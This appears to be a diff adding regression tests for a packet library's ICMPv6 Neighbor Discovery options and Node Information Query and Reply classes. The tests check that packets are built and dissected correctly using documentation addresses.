+a=ICMPv6NDOptMAP(b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::"
+
+= ICMPv6NDOptMAP - Dissection with specific values
+a=ICMPv6NDOptMAP(b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111"
+
+
+############
+############
++ ICMPv6NDOptRDNSS Class Test
+
+= ICMPv6NDOptRDNSS - Basic Instantiation
+raw(ICMPv6NDOptRDNSS()) == b'\x19\x01\x00\x00\xff\xff\xff\xff'
+
+= ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address
+raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses
+raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == b'\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= ICMPv6NDOptRDNSS - Instantiation with specific values
+raw(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == b'\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= ICMPv6NDOptRDNSS - Basic Dissection
+a=ICMPv6NDOptRDNSS(b'\x19\x01\x00\x00\xff\xff\xff\xff')
+a.type==25 and a.len==1 and a.res == 0 and a.dns==[]
+
+= ICMPv6NDOptRDNSS - Dissection (with 1 DNS address)
+a=ICMPv6NDOptRDNSS(b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1"
+
+= ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses)
+a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2"
+
+
+############
+############
++ ICMPv6NDOptDNSSL Class Test
+
+= ICMPv6NDOptDNSSL - Basic Instantiation
+raw(ICMPv6NDOptDNSSL()) == b'\x1f\x01\x00\x00\xff\xff\xff\xff'
+
+= ICMPv6NDOptDNSSL - Instantiation with 1 search domain, as seen in the wild
+raw(ICMPv6NDOptDNSSL(lifetime=60, searchlist=["home."])) == b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00'
+
+= ICMPv6NDOptDNSSL - Basic instantiation with 2 search domains
+raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office."])) == b'\x1f\x03\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x00\x00'
+
+= ICMPv6NDOptDNSSL - Basic instantiation with 3 search domains
+raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office.", "here.there."])) == b'\x1f\x05\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x04here\x05there\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptDNSSL - Basic Dissection
+p = ICMPv6NDOptDNSSL(b'\x1f\x01\x00\x00\xff\xff\xff\xff')
+p.type == 31 and p.len == 1 and p.res == 0 and p.searchlist == []
+
+= ICMPv6NDOptDNSSL - Basic Dissection with specific values
+p = ICMPv6NDOptDNSSL(b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00')
+p.type == 31 and p.len == 2 and p.res == 0 and p.lifetime == 60 and p.searchlist == ["home."]
+
+
+############
+############
++ ICMPv6NDOptEFA Class Test
+
+= ICMPv6NDOptEFA - Basic Instantiation
+raw(ICMPv6NDOptEFA()) == b'\x1a\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptEFA - Basic Dissection
+a=ICMPv6NDOptEFA(b'\x1a\x01\x00\x00\x00\x00\x00\x00')
+a.type==26 and a.len==1 and a.res == 0
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIQueryNOOP
+
+= ICMPv6NIQueryNOOP - Basic Instantiation
+raw(ICMPv6NIQueryNOOP(nonce=b"\x00"*8)) == b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NIQueryNOOP - Basic Dissection
+a = ICMPv6NIQueryNOOP(b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b"\x00"*8 and a.data == b""
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIQueryName
+
+= ICMPv6NIQueryName - single label DNS name (internal)
+a=ICMPv6NIQueryName(data="abricot").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00'
+
+= ICMPv6NIQueryName - single label DNS name
+ICMPv6NIQueryName(data="abricot").data == b"abricot"
+
+= ICMPv6NIQueryName - fqdn (internal)
+a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00'
+
+= ICMPv6NIQueryName - fqdn
+ICMPv6NIQueryName(data="n.d.org").data == b"n.d.org"
+
+= ICMPv6NIQueryName - IPv6 address (internal)
+a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'
+
+= ICMPv6NIQueryName - IPv6 address 
+ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1"
+
+= ICMPv6NIQueryName - IPv4 address (internal)
+a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'
+
+= ICMPv6NIQueryName - IPv4 address
+ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252'
+
+= ICMPv6NIQueryName - build & dissection
+s = raw(IPv6()/ICMPv6NIQueryName(data="n.d.org"))
+p = IPv6(s)
+ICMPv6NIQueryName in p and p[ICMPv6NIQueryName].data == b"n.d.org"
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIQueryIPv6
+
+= ICMPv6NIQueryIPv6 - single label DNS name (internal)
+a = ICMPv6NIQueryIPv6(data="abricot")
+ls(a)
+a = a.getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00'
+
+= ICMPv6NIQueryIPv6 - single label DNS name
+ICMPv6NIQueryIPv6(data="abricot").data == b"abricot"
+
+= ICMPv6NIQueryIPv6 - fqdn (internal)
+a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00'
+
+= ICMPv6NIQueryIPv6 - fqdn
+ICMPv6NIQueryIPv6(data="n.d.org").data == b"n.d.org"
+
+= ICMPv6NIQueryIPv6 - IPv6 address (internal)
+a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'
+
+= ICMPv6NIQueryIPv6 - IPv6 address 
+ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1"
+
+= ICMPv6NIQueryIPv6 - IPv4 address (internal)
+a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'
+
+= ICMPv6NIQueryIPv6 - IPv4 address
+ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252'
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIQueryIPv4
+
+= ICMPv6NIQueryIPv4 - single label DNS name (internal)
+a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00'
+
+= ICMPv6NIQueryIPv4 - single label DNS name
+ICMPv6NIQueryIPv4(data="abricot").data == b"abricot"
+
+= ICMPv6NIQueryIPv4 - fqdn (internal)
+a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00'
+
+= ICMPv6NIQueryIPv4 - fqdn
+ICMPv6NIQueryIPv4(data="n.d.org").data == b"n.d.org"
+
+= ICMPv6NIQueryIPv4 - IPv6 address (internal)
+a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'
+
+= ICMPv6NIQueryIPv4 - IPv6 address 
+ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1"
+
+= ICMPv6NIQueryIPv4 - IPv4 address (internal)
+a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'
+
+= ICMPv6NIQueryIPv4 - IPv4 address
+ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252'
+
+
+############
+############
++ Test Node Information Query - Flags tests
+
+= ICMPv6NIQuery* - flags handling (Test 1)
+t = ICMPv6NIQueryIPv6(flags="T")
+a = ICMPv6NIQueryIPv6(flags="A")
+c = ICMPv6NIQueryIPv6(flags="C")
+l = ICMPv6NIQueryIPv6(flags="L")
+s = ICMPv6NIQueryIPv6(flags="S")
+g = ICMPv6NIQueryIPv6(flags="G")
+allflags = ICMPv6NIQueryIPv6(flags="TALCLSG")
+t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63
+
+
+= ICMPv6NIQuery* - flags handling (Test 2)
+t = raw(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8]
+a = raw(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8]
+c = raw(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8]
+l = raw(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8]
+s = raw(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8]
+g = raw(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8]
+allflags = raw(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce="A"*8))[6:8]
+t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F'
+
+
+= ICMPv6NIReply* - flags handling (Test 1)
+t = ICMPv6NIReplyIPv6(flags="T")
+a = ICMPv6NIReplyIPv6(flags="A")
+c = ICMPv6NIReplyIPv6(flags="C")
+l = ICMPv6NIReplyIPv6(flags="L")
+s = ICMPv6NIReplyIPv6(flags="S")
+g = ICMPv6NIReplyIPv6(flags="G")
+allflags = ICMPv6NIReplyIPv6(flags="TALCLSG")
+t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63
+
+
+= ICMPv6NIReply* - flags handling (Test 2)
+t = raw(ICMPv6NIReplyNOOP(flags="T", nonce="A"*8))[6:8]
+a = raw(ICMPv6NIReplyNOOP(flags="A", nonce="A"*8))[6:8]
+c = raw(ICMPv6NIReplyNOOP(flags="C", nonce="A"*8))[6:8]
+l = raw(ICMPv6NIReplyNOOP(flags="L", nonce="A"*8))[6:8]
+s = raw(ICMPv6NIReplyNOOP(flags="S", nonce="A"*8))[6:8]
+g = raw(ICMPv6NIReplyNOOP(flags="G", nonce="A"*8))[6:8]
+allflags = raw(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce="A"*8))[6:8]
+t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F'
+
+
+= ICMPv6NIQuery* - Flags Default values
+a = ICMPv6NIQueryNOOP()
+b = ICMPv6NIQueryName()
+c = ICMPv6NIQueryIPv4()
+d = ICMPv6NIQueryIPv6()
+a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62
+
+= ICMPv6NIReply* - Flags Default values
+a = ICMPv6NIReplyIPv6()
+b = ICMPv6NIReplyName()
+c = ICMPv6NIReplyIPv6()
+d = ICMPv6NIReplyIPv4()
+e = ICMPv6NIReplyRefuse()
+f = ICMPv6NIReplyUnknown()
+a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0
+
+
+
+# Nonces 
+# hashret and answers
+# payload guess
+# automatic destination address computation when integrated in scapy6
+# at least computeNIGroupAddr
+
+
+############
+############
++ Test Node Information Query - Dispatching
+
+= ICMPv6NIQueryIPv6 - dispatch with nothing in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv6)
+
+= ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv6)
+
+= ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv6)
+
+= ICMPv6NIQueryIPv6 - dispatch with name in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv6)
+
+= ICMPv6NIQueryName - dispatch with nothing in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryName)
+
+= ICMPv6NIQueryName - dispatch with IPv6 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryName)
+
+= ICMPv6NIQueryName - dispatch with IPv4 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryName)
+
+= ICMPv6NIQueryName - dispatch with name in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryName)
+
+= ICMPv6NIQueryIPv4 - dispatch with nothing in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv4)
+
+= ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv4)
+
+= ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv4)
+
+= ICMPv6NIQueryIPv4 - dispatch with name in data
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred"))
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIQueryIPv4)
+
+= ICMPv6NIReplyName - dispatch
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIReplyName)
+
+= ICMPv6NIReplyIPv6 - dispatch
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIReplyIPv6)
+
+= ICMPv6NIReplyIPv4 - dispatch
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIReplyIPv4)
+
+= ICMPv6NIReplyRefuse - dispatch
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIReplyRefuse)
+
+= ICMPv6NIReplyUnknown - dispatch
+s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown())
+p = IPv6(s)
+isinstance(p.payload, ICMPv6NIReplyUnknown)
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyNOOP
+
+= ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal)
+a=ICMPv6NIReplyNOOP(data="abricot").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"abricot"
+
+= ICMPv6NIReplyNOOP - single DNS name without hint => understood as string
+ICMPv6NIReplyNOOP(data="abricot").data == b"abricot"
+
+= ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal)
+a=ICMPv6NIReplyNOOP(data="n.d.tld").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"n.d.tld"
+
+= ICMPv6NIReplyNOOP - fqdn without hint => understood as string 
+ICMPv6NIReplyNOOP(data="n.d.tld").data == b"n.d.tld"
+
+= ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal)
+a=ICMPv6NIReplyNOOP(data="2001:0db8::1").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"2001:0db8::1"
+
+= ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string
+ICMPv6NIReplyNOOP(data="2001:0db8::1").data == b"2001:0db8::1"
+
+= ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal)
+a=ICMPv6NIReplyNOOP(data="169.254.253.010").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"169.254.253.010"
+
+= ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string
+ICMPv6NIReplyNOOP(data="169.254.253.010").data == b"169.254.253.010"
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyName
+
+= ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) (internal)
+a=ICMPv6NIReplyName(data="abricot").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00'
+
+= ICMPv6NIReplyName - single label DNS name as a rawing (without ttl)
+ICMPv6NIReplyName(data="abricot").data == [0, b"abricot"]
+
+= ICMPv6NIReplyName - fqdn name as a rawing (without ttl) (internal)
+a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x01n\x01d\x03tld\x00'
+
+= ICMPv6NIReplyName - fqdn name as a rawing (without ttl)
+ICMPv6NIReplyName(data="n.d.tld").data == [0, b'n.d.tld']
+
+= ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal)
+a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00'
+
+= ICMPv6NIReplyName - list of 2 single label DNS names (without ttl)
+ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, b"abricot", b"poire"]
+
+= ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal)
+a=ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00'
+
+= ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn]
+ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).data == [42, b"abricot", b"poire", b"n.d.tld"]
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyIPv6
+
+= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal)
+a=ICMPv6NIReplyIPv6(data="2001:db8::1").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" 
+
+= ICMPv6NIReplyIPv6 - one IPv6 address without TTL
+ICMPv6NIReplyIPv6(data="2001:db8::1").data == [(0, '2001:db8::1')]
+
+= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list)  (internal)
+a=ICMPv6NIReplyIPv6(data=["2001:db8::1"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" 
+
+= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) 
+ICMPv6NIReplyIPv6(data=["2001:db8::1"]).data == [(0, '2001:db8::1')]
+
+= ICMPv6NIReplyIPv6 - one IPv6 address with TTL  (internal)
+a=ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" 
+
+= ICMPv6NIReplyIPv6 - one IPv6 address with TTL
+ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).data == [(0, '2001:db8::1')]
+
+= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) (internal)
+a=ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" 
+
+= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL)
+ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')]
+
+= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal)
+a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" 
+
+= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without)
+ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")]
+
+= ICMPv6NIReplyIPv6 - build & dissection
+
+s = raw(IPv6()/ICMPv6NIReplyIPv6(data="2001:db8::1"))
+p = IPv6(s)
+ICMPv6NIReplyIPv6 in p and p.data == [(0, '2001:db8::1')]
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyIPv4
+
+= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal)
+a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" 
+
+= ICMPv6NIReplyIPv4 - one IPv4 address without TTL
+ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, '169.254.253.252')]
+
+= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal)
+a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" 
+
+= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list)
+ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')]
+
+= ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal)
+a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" 
+
+= ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal)
+ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')]
+
+= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL)
+a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" 
+
+= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) (internal)
+ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')]
+
+= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without)
+a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data")
+type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" 
+
+= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal)
+ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")]
+
+= ICMPv6NIReplyIPv4 - build & dissection
+
+s = raw(IPv6()/ICMPv6NIReplyIPv4(data="192.168.0.1"))
+p = IPv6(s)
+ICMPv6NIReplyIPv4 in p and p.data == [(0, '192.168.0.1')]
+
+s = raw(IPv6()/ICMPv6NIReplyIPv4(data=[(2807, "192.168.0.1")]))
+p = IPv6(s)
+ICMPv6NIReplyIPv4 in p and p.data == [(2807, "192.168.0.1")]
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyRefuse
+= ICMPv6NIReplyRefuse - basic instantiation
+raw(ICMPv6NIReplyRefuse())[:8] == b'\x8c\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NIReplyRefuse - basic dissection
+a=ICMPv6NIReplyRefuse(b'\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18')
+a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data ==  None
+
+
+############
+############
++ Test Node Information Query - ICMPv6NIReplyUnknown
+
+= ICMPv6NIReplyUnknown - basic instantiation
+raw(ICMPv6NIReplyUnknown(nonce=b'\x00'*8)) == b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NIReplyRefuse - basic dissection
+a=ICMPv6NIReplyRefuse(b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
